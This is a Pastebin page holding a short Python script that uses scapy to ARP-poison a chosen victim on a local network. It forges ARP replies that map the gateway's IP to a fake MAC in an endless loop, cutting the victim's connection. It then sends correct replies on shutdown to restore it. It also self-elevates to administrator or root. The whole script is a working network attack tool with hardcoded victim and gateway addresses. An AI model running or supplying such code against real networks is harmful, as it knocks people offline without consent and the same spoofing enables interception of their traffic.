Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import sys
- import ctypes
- import os
- if sys.platform == "nt":
- def is_admin():
- try:
- return ctypes.windll.shell32.IsUserAnAdmin()
- except:
- return False
- if not is_admin():
- ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1)
- exit()
- elif sys.platform == "linux":
- if os.geteuid() != 0:
- print("You need to run this script as root!")
- exit()
- from scapy.all import *
- from getmac import get_mac_address
- import time
- verbose = False
- def kill_connection(victim_ip, victim_mac, gateway_ip):
- send(ARP(op=2, psrc=gateway_ip, hwsrc='12:34:56:78:9A:BC', pdst=victim_ip, hwdst=victim_mac), verbose=verbose)
- def fix_connection(victim_ip, victim_mac, gateway_ip, gateway_mac):
- send(ARP(op=2, psrc=gateway_ip, hwsrc=gateway_mac, pdst=victim_ip, hwdst=victim_mac), verbose=verbose)
- print("Starting up")
- gateway_ip = "192.168.0.1"
- gateway_mac = "08:02:8E:84:32:C3"
- if sys.platform == "linux":
- gateway_mac = get_mac_address(ip=gateway_ip, network_request=False)
- print(f"Gateway: \nIP: {gateway_ip}\nMAC: {gateway_mac}")
- victim_ip = "192.168.0.7"
- victim_mac = "94:65:2D:A8:47:D5"
- print(victim_mac)
- if sys.platform == "linux":
- victim_mac = get_mac_address(ip=victim_ip, network_request=False)
- print(f"Victim: \nIP: {victim_ip}\nMAC: {victim_mac}")
- print("Startup complete")
- print("Starting to poison all requests of victim")
- try:
- while True:
- kill_connection(victim_ip=victim_ip, victim_mac=victim_mac, gateway_ip=gateway_ip)
- except KeyboardInterrupt:
- print("Shutting down")
- time.sleep(0.5)
- for x in range(5):
- time.sleep(0.3)
- fix_connection(victim_ip=victim_ip, victim_mac=victim_mac, gateway_ip=gateway_ip, gateway_mac=gateway_mac)
- print("Shutdown complete. Victim connection restored")
- print("Bye")
Add Comment
Please, Sign In to add comment